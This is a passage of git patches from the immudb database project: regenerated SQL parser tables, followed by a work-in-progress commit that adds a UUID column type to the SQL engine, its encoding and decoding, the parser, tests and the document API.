-1000, -1000, + -1000, -1000, 13, -1000, -1000, -1000, -1000, 10, -1000, 12, + 256, 255, 252, 111, 111, 298, 276, 72, -1000, 133, + -1000, -22, 86, -1000, -1000, 121, 78, 120, -1000, 118, + 11, 119, -1000, -1000, 26, 276, 276, 276, 276, 276, + 276, 155, 166, 104, -1000, 51, 53, 216, -9, 276, + 276, 111, 118, 117, 116, -4, 67, -1000, -49, 193, + 273, 26, 298, 114, 276, 298, 325, 216, 115, 1, + 115, -1000, -5, -17, -1000, 66, -1000, 100, 111, 0, + 53, 53, 159, 159, 51, 59, -1000, 145, 276, -19, + -1000, -18, -1000, 9, -25, 65, 26, -51, -1000, 254, + -1000, 231, 113, 229, 191, 276, 265, 193, -1000, 26, + 136, 115, -39, -1000, -1000, -1000, -1000, 150, -66, -52, + 111, -1000, 51, -20, -1000, 97, -1000, 276, -1000, 112, + -21, -1000, -21, -1000, 276, 26, -23, 191, 205, -1000, + 136, 209, -1000, -1000, 115, 249, -1000, 149, 92, 24, + -1000, -54, -44, -55, -47, 26, -1000, 98, -1000, 276, + 50, 26, -1000, -1000, 111, -1000, 202, -1000, -22, -1000, + -23, 147, -1000, 143, -70, -48, -1000, -1000, -1000, -1000, + -1000, -21, 222, -58, -56, 207, 199, 298, -61, -1000, + -1000, -1000, -1000, -1000, -1000, 220, -1000, -1000, 185, 276, + 109, 264, -1000, 218, 193, 198, 26, 43, -1000, 276, + -1000, 191, 109, 109, 26, -1000, 42, 182, -1000, 109, + -1000, -1000, -1000, 182, -1000, } var yyPgo = [...]int16{ - 0, 390, 285, 389, 388, 387, 24, 386, 385, 18, - 9, 7, 384, 383, 14, 6, 16, 11, 382, 8, - 20, 381, 379, 2, 373, 372, 10, 265, 19, 365, - 364, 156, 362, 12, 361, 360, 0, 15, 357, 356, - 355, 354, 3, 5, 347, 13, 337, 336, 1, 4, - 245, 333, 332, 324, 17, 322, 317, 310, + 0, 393, 281, 392, 391, 390, 24, 389, 388, 18, + 9, 7, 387, 386, 14, 6, 16, 11, 381, 8, + 20, 380, 379, 2, 378, 375, 10, 349, 19, 374, + 369, 164, 366, 12, 364, 363, 0, 15, 362, 359, + 358, 357, 3, 5, 356, 13, 339, 338, 1, 4, + 245, 326, 324, 319, 17, 316, 314, 308, } var yyR1 = [...]int8{ @@ -350,16 +350,16 @@ var yyR1 = [...]int8{ 5, 5, 5, 56, 56, 55, 55, 54, 12, 12, 14, 14, 15, 10, 10, 13, 13, 17, 17, 16, 16, 18, 18, 18, 18, 18, 18, 18, 18, 18, - 18, 19, 8, 8, 9, 44, 44, 51, 51, 52, - 52, 52, 6, 6, 7, 25, 25, 24, 24, 21, - 21, 22, 22, 20, 20, 20, 23, 23, 26, 26, - 26, 27, 28, 29, 29, 29, 30, 30, 30, 31, - 31, 32, 32, 33, 33, 34, 35, 35, 37, 37, - 41, 41, 38, 38, 42, 42, 43, 43, 47, 47, - 49, 49, 46, 46, 48, 48, 48, 45, 45, 45, - 36, 36, 36, 36, 36, 36, 36, 36, 39, 39, - 39, 39, 53, 53, 40, 40, 40, 40, 40, 40, - 40, 40, + 18, 19, 8, 8, 9, 44, 44, 44, 51, 51, + 52, 52, 52, 6, 6, 7, 25, 25, 24, 24, + 21, 21, 22, 22, 20, 20, 20, 23, 23, 26, + 26, 26, 27, 28, 29, 29, 29, 30, 30, 30, + 31, 31, 32, 32, 33, 33, 34, 35, 35, 37, + 37, 41, 41, 38, 38, 42, 42, 43, 43, 47, + 47, 49, 49, 46, 46, 48, 48, 48, 45, 45, + 45, 36, 36, 36, 36, 36, 36, 36, 36, 39, + 39, 39, 39, 53, 53, 40, 40, 40, 40, 40, + 40, 40, 40, } var yyR2 = [...]int8{ @@ -369,16 +369,16 @@ var yyR2 = [...]int8{ 8, 7, 8, 0, 4, 1, 3, 3, 0, 1, 1, 3, 3, 1, 3, 1, 3, 0, 1, 1, 3, 1, 1, 1, 1, 1, 6, 1, 1, 1, - 1, 4, 1, 3, 5, 0, 3, 0, 1, 0, - 1, 2, 1, 4, 13, 0, 1, 0, 1, 1, - 1, 2, 4, 1, 4, 4, 1, 3, 3, 4, - 2, 1, 2, 0, 2, 2, 0, 2, 2, 2, - 1, 0, 1, 1, 2, 6, 0, 1, 0, 2, - 0, 3, 0, 2, 0, 2, 0, 2, 0, 3, - 0, 4, 2, 4, 0, 1, 1, 0, 1, 2, - 1, 1, 2, 2, 4, 4, 6, 6, 1, 1, - 3, 3, 0, 1, 3, 3, 3, 3, 3, 3, - 3, 4, + 1, 4, 1, 3, 5, 0, 3, 3, 0, 1, + 0, 1, 2, 1, 4, 13, 0, 1, 0, 1, + 1, 1, 2, 4, 1, 4, 4, 1, 3, 3, + 4, 2, 1, 2, 0, 2, 2, 0, 2, 2, + 2, 1, 0, 1, 1, 2, 6, 0, 1, 0, + 2, 0, 3, 0, 2, 0, 2, 0, 2, 0, + 3, 0, 4, 2, 4, 0, 1, 1, 0, 1, + 2, 1, 1, 2, 2, 4, 4, 6, 6, 1, + 1, 3, 3, 0, 1, 3, 3, 3, 3, 3, + 3, 3, 4, } var yyChk = [...]int16{ @@ -405,50 +405,50 @@ var yyChk = [...]int16{ -49, -28, -6, -45, -45, 90, 90, 82, 73, -10, 89, 64, -36, 89, 90, 54, 90, 82, 90, 23, 34, 72, 34, -43, 50, -36, 19, -42, -32, -33, - -34, -35, 69, -45, 90, 25, -9, -44, 91, 90, - -10, -6, -16, 73, -36, 72, -14, -15, 89, -14, - -36, -11, 72, 89, -43, -37, -33, 44, -45, 26, - -52, 64, 57, 74, 90, 90, 90, 90, -56, 82, - 19, -17, -10, -41, 47, -26, -11, -51, 63, 64, - 92, -15, 38, 90, 90, -38, 45, 48, -49, 90, - 39, -47, 51, -36, -13, -23, 19, 40, -42, 48, - 82, -36, -43, -46, -23, -23, 82, -48, 52, 53, - -23, -48, + -34, -35, 69, -45, 90, 25, -9, -44, 91, 89, + 90, -10, -6, -16, 73, -36, 72, -14, -15, 89, + -14, -36, -11, 72, 89, -43, -37, -33, 44, -45, + 26, -52, 64, 57, 74, 74, 90, 90, 90, 90, + -56, 82, 19, -17, -10, -41, 47, -26, -11, -51, + 63, 64, 92, 90, -15, 38, 90, 90, -38, 45, + 48, -49, 90, 39, -47, 51, -36, -13, -23, 19, + 40, -42, 48, 82, -36, -43, -46, -23, -23, 82, + -48, 52, 53, -23, -48, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, - 0, 0, 0, 0, 0, 0, 0, 0, 72, 77, - 2, 5, 9, 25, 25, 25, 0, 14, 0, 93, - 0, 0, 0, 0, 0, 0, 0, 91, 75, 0, - 78, 3, 0, 0, 0, 0, 25, 15, 16, 96, - 0, 0, 18, 0, 0, 0, 0, 108, 0, 0, - 76, 0, 79, 80, 127, 83, 0, 86, 13, 0, - 0, 0, 0, 92, 0, 0, 94, 0, 100, -2, - 131, 0, 0, 0, 138, 139, 0, 51, 52, 53, - 54, 55, 0, 57, 58, 59, 60, 86, 95, 0, - 0, 0, 0, 38, 0, 120, 0, 108, 35, 0, - 73, 0, 0, 81, 128, 0, 0, 0, 26, 0, - 0, 0, 97, 98, 99, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 143, 132, 133, 0, 0, 0, - 47, 0, 0, 0, 0, 0, 39, 43, 0, 114, - 0, 109, 120, 0, 0, 120, 93, 0, 127, 91, - 127, 129, 0, 0, 87, 0, 62, 0, 0, 0, - 144, 145, 146, 147, 148, 149, 150, 0, 0, 0, - 141, 0, 140, 0, 0, 48, 49, 0, 22, 0, - 24, 0, 0, 0, 116, 0, 0, 114, 36, 37, - -2, 127, 0, 90, 82, 84, 85, 0, 65, 0, - 0, 151, 134, 0, 135, 0, 61, 0, 21, 0, - 0, 44, 0, 31, 0, 115, 0, 116, 108, 102, - -2, 0, 107, 88, 127, 0, 63, 69, 0, 19, - 0, 0, 0, 0, 50, 23, 33, 40, 47, 30, - 117, 121, 27, 0, 32, 110, 104, 0, 89, 0, - 67, 70, 0, 0, 20, 136, 137, 56, 29, 0, - 0, 0, 0, 112, 0, 120, 0, 64, 68, 71, - 66, 41, 0, 42, 28, 118, 0, 0, 0, 17, - 0, 114, 0, 113, 111, 45, 0, 34, 116, 0, - 0, 105, 74, 119, 124, 46, 0, 122, 125, 126, - 124, 123, + 0, 0, 0, 0, 0, 0, 0, 0, 73, 78, + 2, 5, 9, 25, 25, 25, 0, 14, 0, 94, + 0, 0, 0, 0, 0, 0, 0, 92, 76, 0, + 79, 3, 0, 0, 0, 0, 25, 15, 16, 97, + 0, 0, 18, 0, 0, 0, 0, 109, 0, 0, + 77, 0, 80, 81, 128, 84, 0, 87, 13, 0, + 0, 0, 0, 93, 0, 0, 95, 0, 101, -2, + 132, 0, 0, 0, 139, 140, 0, 51, 52, 53, + 54, 55, 0, 57, 58, 59, 60, 87, 96, 0, + 0, 0, 0, 38, 0, 121, 0, 109, 35, 0, + 74, 0, 0, 82, 129, 0, 0, 0, 26, 0, + 0, 0, 98, 99, 100, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 144, 133, 134, 0, 0, 0, + 47, 0, 0, 0, 0, 0, 39, 43, 0, 115, + 0, 110, 121, 0, 0, 121, 94, 0, 128, 92, + 128, 130, 0, 0, 88, 0, 62, 0, 0, 0, + 145, 146, 147, 148, 149, 150, 151, 0, 0, 0, + 142, 0, 141, 0, 0, 48, 49, 0, 22, 0, + 24, 0, 0, 0, 117, 0, 0, 115, 36, 37, + -2, 128, 0, 91, 83, 85, 86, 0, 65, 0, + 0, 152, 135, 0, 136, 0, 61, 0, 21, 0, + 0, 44, 0, 31, 0, 116, 0, 117, 109, 103, + -2, 0, 108, 89, 128, 0, 63, 70, 0, 0, + 19, 0, 0, 0, 0, 50, 23, 33, 40, 47, + 30, 118, 122, 27, 0, 32, 111, 105, 0, 90, + 0, 68, 71, 0, 0, 0, 20, 137, 138, 56, + 29, 0, 0, 0, 0, 113, 0, 121, 0, 64, + 69, 72, 66, 67, 41, 0, 42, 28, 119, 0, + 0, 0, 17, 0, 115, 0, 114, 112, 45, 0, + 34, 117, 0, 0, 106, 75, 120, 125, 46, 0, + 123, 126, 127, 125, 124, } var yyTok1 = [...]int8{ @@ -1126,36 +1126,41 @@ yydefault: yyVAL.integer = yyDollar[2].integer } case 67: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.integer = yyDollar[2].integer + } + case 68: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 68: + case 69: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 69: + case 70: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 70: + case 71: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = false } - case 71: + case 72: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } - case 72: + case 73: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = yyDollar[1].stmt } - case 73: + case 74: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &UnionStmt{ @@ -1164,7 +1169,7 @@ yydefault: right: yyDollar[4].stmt.(DataSource), } } - case 74: + case 75: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1181,392 +1186,392 @@ yydefault: offset: yyDollar[13].exp, } } - case 75: + case 76: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 76: + case 77: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 77: + case 78: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 78: + case 79: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 79: + case 80: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 80: + case 81: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 81: + case 82: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 82: + case 83: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 83: + case 84: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 84: + case 85: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 85: + case 86: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 86: + case 87: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 87: + case 88: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 88: + case 89: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 89: + case 90: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 90: + case 91: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 91: + case 92: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 92: + case 93: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 93: + case 94: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 94: + case 95: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 95: + case 96: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 96: + case 97: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 97: + case 98: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 98: + case 99: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 99: + case 100: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 100: + case 101: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 101: + case 102: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 102: + case 103: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 103: + case 104: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 104: + case 105: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 105: + case 106: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 106: + case 107: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 107: + case 108: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 108: + case 109: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 109: + case 110: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 110: + case 111: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 111: + case 112: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 112: + case 113: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 113: + case 114: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 114: + case 115: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 115: + case 116: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 116: + case 117: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 117: + case 118: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 118: + case 119: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 119: + case 120: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 120: + case 121: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 121: + case 122: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 122: + case 123: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 123: + case 124: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 124: + case 125: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 125: + case 126: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 126: + case 127: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 127: + case 128: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 128: + case 129: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 129: + case 130: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 130: + case 131: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 131: + case 132: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 132: + case 133: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 133: + case 134: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 134: + case 135: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 135: + case 136: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 136: + case 137: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 137: + case 138: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 138: + case 139: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 139: + case 140: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 140: + case 141: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 141: + case 142: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 142: + case 143: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 143: + case 144: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 144: + case 145: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 145: + case 146: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 146: + case 147: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 147: + case 148: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 148: + case 149: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 149: + case 150: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 150: + case 151: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 151: + case 152: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} From 652cdc850a1b03937a2520f4ecf8c2ba6a94bbb5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 15 Sep 2023 13:43:08 +0200 Subject: [PATCH 0787/1062] feat(embedded/sql): wip uuid datatype support Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 2 + embedded/document/type_conversions.go | 17 + embedded/sql/catalog.go | 49 + embedded/sql/engine_test.go | 29 + embedded/sql/grouped_row_reader.go | 4 + embedded/sql/parser.go | 1 + embedded/sql/parser_test.go | 11 + embedded/sql/stmt.go | 88 ++ embedded/sql/type_conversion.go | 110 ++ go.mod | 2 +- go.sum | 1433 +------------------------ pkg/api/proto/documents.proto | 1 + pkg/api/protomodel/docs.md | 1 + pkg/api/protomodel/documents.pb.go | 316 +++--- pkg/client/sql.go | 4 + pkg/database/database.go | 14 +- pkg/database/sql.go | 9 +- 17 files changed, 494 insertions(+), 1597 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index da23ff6bb9..eebf4653e7 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -344,6 +344,8 @@ func collectionFromTable(table *sql.Table) *protomodel.Collection { colType = protomodel.FieldType_BOOLEAN case sql.VarcharType: colType = protomodel.FieldType_STRING + case sql.UUIDType: + colType = protomodel.FieldType_UUID case sql.IntegerType: colType = protomodel.FieldType_INTEGER case sql.Float64Type: diff --git a/embedded/document/type_conversions.go b/embedded/document/type_conversions.go index 8b9e7c9af3..535194bf2c 100644 --- a/embedded/document/type_conversions.go +++ b/embedded/document/type_conversions.go @@ -21,6 +21,7 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" + "github.com/google/uuid" "google.golang.org/protobuf/types/known/structpb" ) @@ -38,6 +39,18 @@ var structValueToSqlValue = func(value *structpb.Value, sqlType sql.SQLValueType } return sql.NewVarchar(value.GetStringValue()), nil + case sql.UUIDType: + _, ok := value.GetKind().(*structpb.Value_StringValue) + if !ok { + return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) + } + + u, err := uuid.Parse(value.GetStringValue()) + if err != nil { + return nil, fmt.Errorf("%w: can not parse '%s' as an UUID", err, value.GetStringValue()) + } + + return sql.NewUUID(u), nil case sql.IntegerType: _, ok := value.GetKind().(*structpb.Value_NumberValue) if !ok { @@ -77,6 +90,8 @@ var protomodelValueTypeToSQLValueType = func(stype protomodel.FieldType) (sql.SQ switch stype { case protomodel.FieldType_STRING: return sql.VarcharType, nil + case protomodel.FieldType_UUID: + return sql.UUIDType, nil case protomodel.FieldType_INTEGER: return sql.IntegerType, nil case protomodel.FieldType_DOUBLE: @@ -92,6 +107,8 @@ var sqlValueTypeDefaultLength = func(stype sql.SQLValueType) (int, error) { switch stype { case sql.VarcharType: return sql.MaxKeyLen, nil + case sql.UUIDType: + return 0, nil case sql.IntegerType: return 0, nil case sql.BLOBType: diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index c1d90d0bd1..713196f1e8 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -28,6 +28,7 @@ import ( "time" "github.com/codenotary/immudb/embedded/store" + "github.com/google/uuid" ) // Catalog represents a database catalog containing metadata for all tables in the database. @@ -559,6 +560,8 @@ func (c *Column) MaxLen() int { return 8 case Float64Type: return 8 + case UUIDType: + return 16 } return c.maxLen @@ -582,6 +585,8 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { return maxLen == 0 || maxLen == 8 case TimestampType: return maxLen == 0 || maxLen == 8 + case UUIDType: + return maxLen == 0 || maxLen == 16 } return maxLen >= 0 @@ -875,6 +880,7 @@ func asType(t string) (SQLValueType, error) { t == Float64Type || t == BooleanType || t == VarcharType || + t == UUIDType || t == BLOBType || t == TimestampType { return t, nil @@ -1098,6 +1104,20 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b return encv, len(blobVal), nil } + case UUIDType: + { + uuidVal, ok := convVal.(uuid.UUID) + if !ok { + return nil, 0, fmt.Errorf("value is not an UUID: %w", ErrInvalidValue) + } + + // notnull + value + encv := make([]byte, 17) + encv[0] = KeyValPrefixNotNull + copy(encv[1:], uuidVal[:]) + + return encv, 16, nil + } case TimestampType: { if maxLen != 8 { @@ -1240,6 +1260,20 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, binary.BigEndian.PutUint32(encv[:], uint32(len(blobVal))) copy(encv[EncLenLen:], blobVal) + return encv[:], nil + } + case UUIDType: + { + uuidVal, ok := convVal.(uuid.UUID) + if !ok { + return nil, fmt.Errorf("value is not an UUID: %w", ErrInvalidValue) + } + + // len(v) + v + var encv [EncLenLen + 16]byte + binary.BigEndian.PutUint32(encv[:], uint32(16)) + copy(encv[EncLenLen:], uuidVal[:]) + return encv[:], nil } case TimestampType: @@ -1333,6 +1367,21 @@ func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { return &Blob{val: v}, voff, nil } + case UUIDType: + { + if vlen != 16 { + return nil, 0, ErrCorruptedData + } + + u, err := uuid.FromBytes(b[voff:]) + if err != nil { + + } + + voff += vlen + + return &UUID{val: u}, voff, nil + } case TimestampType: { if vlen != 8 { diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index f7c52a285a..f85d213899 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -355,6 +355,35 @@ func TestTimestampCasts(t *testing.T) { }) } +func TestUUIDType(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS uuid_table(id UUID, PRIMARY KEY id)", nil) + require.NoError(t, err) + + sel := EncodeSelector("", "uuid_table", "id") + + t.Run("must accept RANDOM_UUID() as an UUID", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id) VALUES(RANDOM_UUID())", nil) + require.NoError(t, err) + + _, err := engine.InferParameters(context.Background(), nil, "SELECT id FROM uuid_table WHERE id = NOW()") + require.ErrorIs(t, err, ErrInvalidTypes) + + r, err := engine.Query(context.Background(), nil, "SELECT id FROM uuid_table", nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) + + require.Len(t, row.ValuesByPosition, 1) + require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) + }) + +} + func TestFloatType(t *testing.T) { engine := setupCommonTest(t) diff --git a/embedded/sql/grouped_row_reader.go b/embedded/sql/grouped_row_reader.go index 9064483e0a..471cdddacc 100644 --- a/embedded/sql/grouped_row_reader.go +++ b/embedded/sql/grouped_row_reader.go @@ -160,6 +160,10 @@ func zeroForType(t SQLValueType) TypedValue { { return &Varchar{} } + case UUIDType: + { + return &UUID{} + } case BLOBType: { return &Blob{} diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 47713b2aa0..36e80a6f24 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -102,6 +102,7 @@ var types = map[string]SQLValueType{ "INTEGER": IntegerType, "BOOLEAN": BooleanType, "VARCHAR": VarcharType, + "UUID": UUIDType, "BLOB": BLOBType, "TIMESTAMP": TimestampType, "FLOAT": Float64Type, diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 06f24ad3a2..3dd030a28d 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -205,6 +205,17 @@ func TestCreateTableStmt(t *testing.T) { }}, expectedError: nil, }, + { + input: "CREATE TABLE table1 (id UUID, PRIMARY KEY id)", + expectedOutput: []SQLStmt{ + &CreateTableStmt{ + table: "table1", + ifNotExists: false, + colsSpec: []*ColSpec{{colName: "id", colType: UUIDType}}, + pkColNames: []string{"id"}, + }}, + expectedError: nil, + }, { input: "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, PRIMARY KEY id)", expectedOutput: []SQLStmt{ diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 62a3359995..35e6cdc8ff 100644 --- a/embedded/sql/stmt.go +++ 